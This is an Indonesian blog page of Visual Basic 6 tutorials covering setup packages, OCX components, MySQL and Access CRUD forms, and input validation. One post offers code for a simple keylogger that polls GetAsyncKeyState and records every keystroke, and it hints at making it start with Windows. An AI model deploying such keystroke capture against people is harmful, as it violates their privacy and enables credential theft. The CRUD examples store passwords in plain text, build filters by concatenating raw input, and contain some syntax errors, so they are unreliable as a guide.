0 Cara Membuat File Setup Dengan VB6

By Unknown | At 09.02 | Label : Programming , Visual Basic 6.0 | 0 Comments

Membuat File setup diperlukan jika  sebuah program ingin di jalankan dikomputer lain, dengan cara menginstallnya dikomputer, tanpa harus membuka" code" program / vbnya.
Share kali ini membuat SETUP VB6 tools dari VB6 nya Package & Deployment Wizard, bisa juga membuat file setup dgn software-software terkenal seperti, InnoSetup atau yg lainya.

1. Yang pertama untuk membuat file setup anda harus punya sebuah project vb, berekstensi vbp, untuk di jadikan file setup, disini saya menggunakan sebuah project MySQL saya.
2. Untuk membuka Package & Deployment Wizard, click tombol Start » All programs » Microsoft Visual Basic 6.0 » Microsoft Visual Basic 6.0 Tools » Package & Deployment Wizard.
Maka muncul tampilan berikut:

Click Browse, cari poject vbmu yang berektensi vbp secara default,












Selanjutnya Click Package, seperti berikut:

Tahap selanjutnya Pilih Standard Setup Package, Lalu Next:

Pada Package Folder, buat sebuah folder baru untuk meletakkan di mana file setup akan di simpan,:

disini saya nama foldernya Setup. Lalu Next, ketika muncul peringatan checklist saja semua component dll,tlib / ocx nya,karna kita akan mengikut sertakan file dll,tlib / ocx di install ke komputer client.

Lalu Ok,Pada tahap ini pastikan semua component di Checklist jgn ada yg tertinggal, karna bisa fatal akibatnya saat program di jalankan, karna suatu file pendukungnya hilang / corrupt. Selanjutnya click Next.

Pada tab Cab oprions, pilih Single Cab Lalu Next,

Pada Instalations Title, Isikan nama programu / nama aplikasimu atau terserah anda apa yg mw di tuliskan pada Judul instalasi berlangsung nntinya dan nama Programu saat ada di Start menu, Pilihlah nama yg simple tapi bermakna :D, karna saya menggunakan project MySQL jadi saya Instalations titlenya MySQL Connection (sesuai project saya tentang Koneksi MySQL). Lalu next,

Setelah next, muncul Start menu items anda bisa merubah letaknya, atau bahkan tidak menaruh program di Start menu dgn remove, tapi menurut saya secara default Start menu items nya sudah bagus, Lalu next,

Lalu pada tahap, tampilah component" pendukung sebelumnya yg sudah kita setujui untuk di pasang bersamaan file setupnya, lalu next,
Nah di tahap ini, anda tinggal menchecklist nama file yg akan bisa di share oleh client kita, jika client kita dalam Jaringan LAN dia bisa mensharing file setupnya, jika sudah di cheklist Lalu next,

 

Oke, kita masuk tahap terakhir  Script name, Fungsinya yaitu  kurang tau juga saya effecnya di file setup nantinya :D, Biarkan saja Script Name nya, / anda ubah saja biar tau apa fungsi Script Name nntinya, Oke langsung saja click Finish

 Oke File Setup sudah jadi, coba periksa file setupnya di folder yg di buat tadi,

Ada kan ??.. coba jalankan file setup.exe nya, jika jalan dan tidak ada error berarti anda berhasil.

Punya saya:

Kekurangan menggunakan Package & Deployment Wizard dari VB6 ini ketika baru mulai Setup file, dan mengclick exit, rupanya file sudah ada yg terinstal dan harus meremove lagi, hahahaha memang agak ribet, jika anda menggunakan Software seperti InnoSetup / lainya. tampilan setupnya akan lebih bagus dan mengcuztomizenya lebih Interface tidak butek seperti tampilan setup VB6 ini.

Oke sekian, Please Sbuscribe :),

1 Kumpulan File OCX untuk VB6

By Unknown | At 20.46 | Label : Download , Programming , Visual Basic 6.0 | 1 Comments

Banyak kelebihan tampilan dan component yang tidak ada di VB6 kita inginkan, semua tampilan dan component itu di simpan di file Ocx. dimana saat kita menrigisterasikan file Ocx (yg didalamnya terdapat Commandbutton yg elegant) ke VB6. maka kita dapat menggunakan Command button  elegant tersebut.


Saya kali ini baggin banyak File OCX, di mana di dalamnya ada button bergaya XP:

lebih bagus kan.
Contoh kedua cpvButton,





Dari contoh kedua itu, anda tertarik untuk mendapatkan file OCX dan merigistrasikanya di komputer anda ?,
ini saya sediakan Link downloadnya
Download

Have fun with your file.

0 Membuat Simple Keylogger Dengan VB 6

By Unknown | At 01.08 | Label : Programming , Visual Basic 6.0 | 0 Comments

Sebenarnya iseng" aja buat posting kali ini, tpi gk sreek kalo gk ngeshare simple keylogger dari VB6 .. simplenya keylogger ini cuma bisa merekam hasil ketik'kan keyboard..
untuk memperbanyak fungsinya kamu searching aja di google mungkin banyak , misalnya membuat keylogger StartUp Windows.. tpi kali ini saya cuma share simple keylogger, ok langsung saja:

Buka vb seperti biasa,
Tambahkan 1 Timer dan 1 Textbox
Masukan script berikut ini:

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub

Jalankan programnya(F5) hasilnya saya seperti berikut:

6 Add,Edit,Delete,Search di VB 6 ke Mysql (localhost)

By Unknown | At 06.12 | Label : Programming , Visual Basic 6.0 | 6 Comments

Kali ini tutorial VB 6 nya mengkoneksikan Vb ke MySQL pakai server local host / phpmyadmin ,yg bisa di dapatkan dari software Appserv atau XAMPP , saya disini memakai appserv-win32-2.5.10 sebagai localhostnya dan mysql-connector-odbc-3.51.30-win32.msi (butuh di install kedua software ini, untuk mengkoneksikan mysqlnya).

.Yang gk punya appserv dan mysql connector odbc nya minta aja ma aku, comment aja di kotak komentar, nnti di bales download linknya. Ok langsung saja.

1. Buat database di localhostnya dgn nama latihan, lalu buat table dgn nama biodata jumlah field 5 , fieldnya seperti berikut:








Kalau sudah Save databasenya.

2. Buat dsn nya, seperti ini: (sebelum melakukan ini kamu pastikan sudah menginstal mysql connector ODBC nya)

• Buka Control panel (aku windows 7) » System and Security » Administrative Tools » click Data Source (ODBC) dan tampil tampilan berikut:

Click tombol ADD » pilih MySQL ODBC 3.51 Driver lalu

Finish.

muncul tampilan baru, isi seperti berikut: 

Isi sesuai data disamping , oh ya ketika kamu menginstall Appserv pasti diminta setting Password dan user. disini user saya adalah root dan password saya 12345. isikan data sesuai Detail Appserv kamu saat menginstall.

coba click Test, jika berhasil click Ok.

Sip coba liat dsnlatihan sudah terbuat Ok.

Sekarang buat aplikasi Vbnya,
Buka Vb seperti biasa,

.Lalu tambahkan component Datagrid , Adodc , dan Common dialog dgn cara Tekan tombol Ctrl + T lalu akan tampil tampilan berikut:

Checklist  • Microsoft Common Dialog Control 6.0

                 • Microsoft ADO Data Control  6.0 (OLEDB)

                 • Microsoft Datagrid Control 6.0 (OLEDB) lalu Apply dan Ok,

Lalu design formnya seperti berikut:

-------------------------------------------------------------------------------------------

Propertiesnya seperti berikut:

 oh ya lupa, common dialog1 nya . Visiblenya jadi False.

Okeh sudah siap ??... aku anggap ja lh dh siap :).

 Setting Adodc nya dahulu Click kanan Adodc1nya Pilih ADODC Properties » Use Data Source Name » Pilih dsnlatihan , sip, Pilih tab RecordSource Command type= 2-adcmdTable  , Table or Stored Procedure Name = biodata. click Apply dan Ok.

 Selanjutnya kita menambahkan script.

1. Click tombol Add , masukin script ini:

Private Sub cmdAdd_Click()
If txtNama = "" Or txtAlamat = "" Or txtTelephone = "" Then
MsgBox "Data not completed"
Else
Adodc1.Recordset.AddNew
Adodc1.Recordset!nama = txtNama
Adodc1.Recordset!alamat = txtAlamat
Adodc1.Recordset!telp = txtTelephone
Adodc1.Recordset!foto = CommonDialog1.FileName
MsgBox "Data insert completed"
txtNama.SetFocus
If Err.Number <> 0 Then
MsgBox "Data cannot inserted", vbExclamation
txtNama.SetFocus
End If
End If
End Sub

2. Tombol Update

Private Sub cmdUpdate_Click()
If txtNama = "" Or txtAlamat = "" Or txtTelephone = "" Then
MsgBox "Data not completed"
Else
Adodc1.Recordset!nama = txtNama
Adodc1.Recordset!alamat = txtAlamat
Adodc1.Recordset!telp = txtTelephone
Adodc1.Recordset!foto = CommonDialog1.FileName
MsgBox "Data update completed", vbInformation
txtNama.SetFocus
If Err.Number <> 0 Then
MsgBox "Data connaot completed update", vbCritical
txtNama.SetFocus
End If
End If
End Sub

3. Tombol Delete

Private Sub cmdDelete_Click()
If txtNama = "" Then
MsgBox "Data not completed"
Else
Adodc1.Recordset.Delete
txtNama = ""
txtAlamat = ""
txtTelephone = ""
txtAlamatFoto = ""
Image1.Picture = Nothing
MsgBox "Data deleted completed"
txtNama.SetFocus
If Err.Number <> 0 Then
MsgBox "Data cannot deleted", vbExclamation
txtNama.SetFocus
End If
End If
End Sub

4. Tombol Clear

Private Sub cmdClear_Click()
txtNama = ""
txtAlamat = ""
txtTelephone = "'"
txtAlamatFoto = ""
Image1.Picture = Nothing
End Sub

5. Tombol Close

Private Sub cmdClose_Click()
psn = MsgBox("Are you sure want exit", vbYesNo, "Exit")
If psn = vbYes Then
End
Else
End If
End Sub

6. Tombol Search

Private Sub cmdSearch_Click()
Adodc1.Recordset.Filter = "id_biodata = '" & txtSearch.Text & "'"
If txtSearch = "" Then
MsgBox "Please enter ID", vbExclamation
Else
If Adodc1.Recordset.RecordCount > 0 Then
MsgBox "Data found", vbInformation
txtNama = Adodc1.Recordset.Fields(1)
txtAlamat = Adodc1.Recordset.Fields(2)
txtTelephone = Adodc1.Recordset.Fields(3)
txtAlamatFoto = Adodc1.Recordset.Fields(4)
Image1.Picture = LoadPicture(txtAlamatFoto)
Else
MsgBox "Data not found", vbCritical
txtNama = ""
txtAlamat = ""
txtTelephone = "'"
txtAlamatFoto = ""
Image1.Picture = Nothing
txtSearch.SetFocus
Adodc1.Refresh
End If
End If
End Sub

7. Tombol Browse

Private Sub cmdBrowse_Click()
CommonDialog1.Filter = "Picture files (*.jpg;*.bmp;*.gif;*.png)|*.jpg;*.bmp;*.gif;*.png"
CommonDialog1.ShowOpen
Image1.Picture = LoadPicture(CommonDialog1.FileName)
End Sub

8. Click Datagird masukan script ini:

Private Sub DataGrid1_Click()
On Error Resume Next
txtNama = Adodc1.Recordset.Fields(1)
txtAlamat = Adodc1.Recordset.Fields(2)
txtTelephone = Adodc1.Recordset.Fields(3)
Text4 = Adodc1.Recordset.Fields(4)
Image1 = LoadPicture(Text4)
End Sub

Nice. dh siapun coba jalankan aplikasinya gimana ..? bagus / error error. berbagilah hasil mu dikotak komentar ..
Jika anda bingung ?!??!? .. dan mw full projectnya.. comment aja nanti aku replykan link download projectnya.
Good Luck :).  

8 Add,Edit,Delete,Search di VB 6 ke Access

By Unknown | At 05.50 | Label : Programming , Visual Basic 6.0 | 8 Comments

Kali ini share membuat koneksi VB 6 ke MS Access dengan ADO, beberapa component Datagrid & Adodc dan library juga akan digunakan nantinya.
Dipersingkat saja, mari mulai:
1. Buat database access dgn nama data_user.mdb selanjutnya buat table  dgn nama user_data , field dan datatype seperti berikut:

Lalu tambahkan record beberapa baris , seterah berapa banyak.
Database sudah siap. Simpan databasenya di satu folder yg sama dgn project Vb nantinya, Save databasenya berformat .mdb.

Sekarang buat aplikasinya Vbnya:
2. Buat project standard exe sperti biasa, kemudia tambahkan component Datagrid & Adodc , dgn cara tekan tombol Ctrl + T , dan muncul jendela baru:
Cari tulisan :  • Microsoft ADO Data Control 6.0 (OLEDB) » dicentang.
                     • Microsoft Datagrid Control 6.0 (OLEDB) » dicentang lalu Apply dan Ok.

3. Menambah Library ADODB,
• Click menu Project » Reference, maka akan tampil tampilan baru:
Check list   Microsoft ActiveX Data Object 2.0 library » lalu Ok.

4.Design form, designya formnya sperti ini:                  Propertiesnya seperti dibawah ini:

Setting properties datagridnya DataSource pilih Adodc1.

4. Coding.

• Double click form, tulis script di bawah ini di atas Private sub frmUser_Load():

Private Sub blankform()
txtUsername = ""
txtPassword = ""
txtTelephone = ""
txtEmail = ""
End Sub

• Script tombol Add

Private Sub cmdAdd_Click()
If txtEmail = "" Or txtID = "" Or txtUsername = "" Or txtPassword = "" Or txtTelephone = "" Then
MsgBox "Data belum lengkap!", vbExclamation
Else
Adodc1.Recordset.AddNew
Adodc1.Recordset!ID = txtID
Adodc1.Recordset!UserName = txtUsername
Adodc1.Recordset!Password = txtPassword
Adodc1.Recordset!Telephone = txtTelephone
Adodc1.Recordset!E-mail = txtEmail
MsgBox "Data berhasil disimpan.", vbInformation, "Data User"
If Err.Number <> 0 Then
MsgBox "Data gagal disimpan.", vbExclamation, "Data USer"
End If
End If
End Sub

• Tombol Edit

Private Sub cmdEdit_Click()
If txtEmail = "" Or txtID = "" Or txtUsername = "" Or txtPassword = "" Or txtTelephone = "" Then
MsgBox "Data belum lengkap!", vbExclamation
Else
psn = MsgBox("Anda yakin mengedit data ini?", vbInformation + vbYesNo, "Data User")
If psn = vbYes Then
Adodc1.Recordset!ID = txtID
Adodc1.Recordset!UserName = txtUsername
Adodc1.Recordset!Password = txtPassword
Adodc1.Recordset!Telephone = txtTelephone
Adodc1.Recordset!E-mail = txtEmail
MsgBox "Data berhasil disimpan", vbInformation, "Data User"
Else
End If
End If
End Sub

• Delete:

Private Sub cmdDelete_Click()
if cmdDelete.Enabled Then
psn = MsgBox("Anda yakin menghapus data ini?", vbInformation + vbYesNo, "Data User")
If psn = vbYes Then
Adodc1.Recordset.Delete
Call blankform
MsgBox "Data berhasil dihapus.", vbInformation, "Data User"
Else
MsgBox "Data gagal dihapus.", vbExclamation
End If
End If
End Sub

• Clear:

Private Sub cmdClear_Click()
Call blankform
End sub

• Exit:

Private Sub cmdExit_Click()
End
End Sub

• Search:

Private Sub cmdSearch_Click()
Adodc1.Recordset.Filter = "ID = '" & txtSearch.Text & "'"
If txtSearch = "" Then
MsgBox "Masukkan data dahulu!,vbexclamation"
Else
If Adodc1.Recordset.RecordCount > 0 Then
txtID = Adodc1.Recordset.Fields(0)
txtUsername = Adodc1.Recordset.Fields(1)
txtPassword = Adodc1.Recordset.Fields(2)
txtTelephone = Adodc1.Recordset.Fields(3)
txtEmail = Adodc1.Recordset.Fields(4)
MsgBox "Data ditemukan.", vbInformation, "Data User"
Else
MsgBox "Data tidak ditemukan", vbExclamation, "Data User"
Adodc1.Refresh
End If
End If
End Sub

• Double click Datagird, masukin script ini:

Private Sub DataGrid1_Click()
On Error Resume Next
txtID = Adodc1.Recordset.Fields(0)
txtUsername = Adodc1.Recordset.Fields(1)
txtPassword = Adodc1.Recordset.Fields(2)
txtTelephone = Adodc1.Recordset.Fields(3)
txtEmail = Adodc1.Recordset.Fields(4)
End Sub

5. Setting Adodc, Click kanan Adodc1 pilih ADODC Properties, pilih User Conection String lalu click Build. 
Pilih Microsoft Jet 4.0 OLE DB Provider » Next » Pilih database data_user.mdb yg sudah dibuat tadi. Click Test Connection, maka akan tampil tampilan permberitahuan success.

oh ya, properties Adodc1 nya Visible rubah menjadi False.
Save Project VB di satu folder database tadi.

Good work. Coba jalankan aplikasinya .. gimana hasilnya bagus / error error. berbagi lh pengalamanmu di kotak komentar :)..
mau full projectnya ? commentar aja ntar di replykan link downloadnya .

1 Textbox hanya dapat diisi Angka di VB6

By Unknown | At 19.15 | Label : Programming , Visual Basic 6.0 | 1 Comments

Untuk ngisi waktu luang, nih cara membuat textbox VB6 cuma bisa di isi angka:

1.Tambahkan 1 textbox
2.Double click textboxnya , biasanya prosedur defaultnya adalah change, ganti prosedurnya dengan keypress sehingga jadi begini  Private Sub Text1_KeyPress(KeyAscii As Integer)
3.Masukan script ini:

If Not (KeyAscii >= Asc("0") And KeyAscii <= Asc("9") Or KeyAscii = vbKeyBack) Then KeyAscii = 0
Else
End if

Selamat mencoba.